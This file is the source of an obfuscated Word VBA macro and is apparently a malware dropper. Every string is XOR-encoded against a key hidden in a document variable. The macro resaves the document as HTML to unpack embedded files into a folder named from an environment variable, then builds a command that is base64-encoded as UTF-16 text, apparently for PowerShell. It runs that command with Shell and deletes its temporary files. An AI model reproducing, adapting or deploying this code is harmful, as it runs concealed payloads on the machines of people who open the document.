Private Function decoder(inarray As Variant, hJNUOrGdnl As Integer)
Dim result, totovalue As String, JrCXWNPupO, pKANyxqYUM
totovalue = ActiveDocument.Variables("zmZkpC").Value()
result = ""
JrCXWNPupO = 1
While JrCXWNPupO < UBound(inarray) + 2
pKANyxqYUM = JrCXWNPupO Mod Len(totovalue): If pKANyxqYUM = 0 Then pKANyxqYUM = Len(totovalue)
result = result + Chr(Asc(Mid(totovalue, pKANyxqYUM + hJNUOrGdnl, 1)) Xor CInt(inarray(JrCXWNPupO - 1)))
JrCXWNPupO = JrCXWNPupO + 1
Wend
decoder = result
End Function
Function KZKxZoAumWbVNr(ByVal sText)
With CreateObject(decoder(Array(11, 61, 46, 91, 60, 5, 104, 35, 30, 28, 117, 46, 34, 77, 27, 38, 55, 68), 312)).CreateElement(decoder(Array(8, 63, 17), 290))
.DataType = decoder(Array(91, 91, 35, 87, 27, 6, 54, 44, 76, 88), 0)
.NodeTypedValue = RrMmLAtymFPXYO(sText, decoder(Array(67, 24, 50, 84, 70, 124, 47, 83), 54), 2)
KZKxZoAumWbVNr = .Text
End With
End Function
Function RrMmLAtymFPXYO(ByVal sText, ByVal sTextEncoding, ByVal iBomByteCount)
With CreateObject(decoder(Array(10, 46, 32, 7, 54, 84, 37, 7, 32, 10, 57, 57), 185))
.Type = 2
.Charset = sTextEncoding
.Open
.WriteText sText
.Position = 0
.Type = 1
.Position = iBomByteCount
RrMmLAtymFPXYO = .Read
.Close
End With
End Function
Function sImSlPDpIEAujGaOle()
FileName = ActiveDocument.FullName
first5letter = Left(ActiveDocument.Name, Len(ActiveDocument.Name) - 5)
BJVnOtfIDyCUIWs = Environ(decoder(Array(55, 13, 9, 31), 29)) & decoder(Array(59), 330)
LsFeYXDzWBeCaCrq = BJVnOtfIDyCUIWs
first5letteralt = first5letter
On Error Resume Next
Kill BJVnOtfIDyCUIWs & first5letteralt & decoder(Array(8, 51, 80, 10, 22, 61, 14, 101), 145)
RmDir BJVnOtfIDyCUIWs & first5letteralt & decoder(Array(57, 50, 95, 8, 39, 60), 179)
ActiveDocument.Save
ActiveDocument.SaveAs2 FileName:=saveLocaton & first5letteralt & decoder(Array(127, 44, 0, 88, 84), 285), _
FileFormat:=wdFormatHTML
Dim rQeH As Object
Set rQeH = CreateObject(decoder(Array(38, 17, 29, 34, 9, 30, 7, 13, 22, 64, 118, 35, 4, 20, 3, 22, 33, 49, 52, 14, 56, _
83, 35, 38, 25, 67), 153))
rQeH.MoveFile Source:=saveLocaton & first5letteralt & decoder(Array(60, 46, 10, 38, 84, 17, 10, 16, 52, 14, 20, 50, 8, 104, 126, 89, 18, 0, 9), 293), Destination:=LsFeYXDzWBeCaCrq & decoder(Array(6, 42, 16, 85, 2, 92, 82, 89, 95, 6, 95, 86), 109)
rQeH.MoveFile Source:=saveLocaton & first5letteralt & decoder(Array(60, 39, 90, 21, 87, 1, 36, 88, 59, 39, 44, 20, 113, 102, 6, 103, 62, 60, 43), 10), Destination:=LsFeYXDzWBeCaCrq & decoder(Array(28, 25, 22, 54, 17, 5, 115, 100, 116, 29, 56, 3), 133)
rQeH.MoveFile Source:=saveLocaton & first5letteralt & decoder(Array(13, 1, 34, 91, 49, 41, 10, 56, 2, 34, 33, 22, 98, 123, 102, 72, 27, 20, 83), 33), Destination:=LsFeYXDzWBeCaCrq & decoder(Array(60, 88, 50, 62, 19, 104, 113, 84, 74, 28, 10, 29), 121)
SwbCYBeCtP = decoder(Array(0, 48, 34, 70, 87, 70, 122, 13, 68, 93, 39, 4, 28, 53, 14, 0, 108, 42, 87, 80, 101, _
38, 31, 17, 54, 105, 100, 25, 65, 31, 63, 3, 45, 2, 21, 37, 13, 58, 85, 67, 85, _
33, 61, 61, 56, 18, 34, 30, 35, 52, 80, 65, 57, 20, 44, 76, 14, 101, 34, 84, 20, _
90, 21, 11, 66, 45, 23, 15, 119, 39, 48, 11, 24, 59, 45, 46, 24, 21, 62, 31, 40, _
20, 23, 16, 103), 197) & LsFeYXDzWBeCaCrq
DWcvEAhpQB = decoder(Array(6, 42, 16, 85, 2, 92, 82, 89, 95, 6, 95, 86), 109)
AkolrbpOYg = decoder(Array(26), 52)
dtycJfacmH = decoder(Array(91, 124, 21, 11, 4, 7, 78, 6, 18, 21, 29, 21, 59, 116, 67, 122, 101, 102, 89, 79, 66, _
119, 99, 84, 94, 4, 87, 77, 41, 14, 0, 93, 86, 51, 28, 107, 101, 10, 111, 48, 3, _
103, 85, 88, 127, 89, 72, 94, 76, 80, 66, 46, 117, 63, 119, 17, 3, 127, 31, 32, 25, _
34, 56, 63, 10, 33, 69, 119, 27, 85, 80, 44, 80, 84, 84, 1, 12, 23, 38, 28, 86, _
104, 112, 90, 123, 104, 32, 36, 116, 98, 62, 91, 81, 68, 36, 12, 81, 91, 20, 57, 55, _
62, 25, 122, 120, 93, 50, 127, 55, 91, 23, 86, 10, 21, 67, 67, 16, 78, 66, 110, 83, _
106, 35, 57, 35, 66, 119, 50, 79, 13, 103, 35, 48, 3, 50, 88, 64, 92, 81, 30, 41, _
118, 109, 32, 74, 46, 46, 74, 32, 7, 39, 1, 31, 91, 119, 48, 116, 63, 71, 60, 102, _
29, 69, 45, 9, 6, 89, 3, 80, 20, 21, 31, 47, 36, 16, 26, 8, 24, 47, 0, 28, _
99, 111, 8, 99, 42, 1, 33, 123, 49, 44, 17, 10, 49, 58, 90, 86, 81, 106, 22, 8, _
25, 95, 76, 104, 66, 101, 6, 50, 95, 76), 331)
ydUCerRbMq = SwbCYBeCtP & DWcvEAhpQB & AkolrbpOYg & dtycJfacmH
YioSkwYfLrZ = KZKxZoAumWbVNr(ydUCerRbMq)
Dim HJszgKdEheuyQ
HJszgKdEheuyQ = Shell(decoder(Array(59, 4, 21, 4, 55, 9, 41, 53, 57, 38, 112, 116, 29, 24, 59, 37, 56, 63, 41, 60, 53, _
10, 10, 89, 41, 1, 82, 84, 51, 93, 115, 92, 44, 22, 59, 58, 87, 40, 20, 7, 44, _
92, 2, 82, 27, 11, 100), 62) & YioSkwYfLrZ, 1)
On Error Resume Next
Kill BJVnOtfIDyCUIWs & first5letteralt & decoder(Array(8, 51, 80, 10, 22, 61, 14, 101), 145)
RmDir BJVnOtfIDyCUIWs & first5letteralt & decoder(Array(57, 50, 95, 8, 39, 60), 179)
Word.Application.Visible = True
Word.Application.Activate
End Function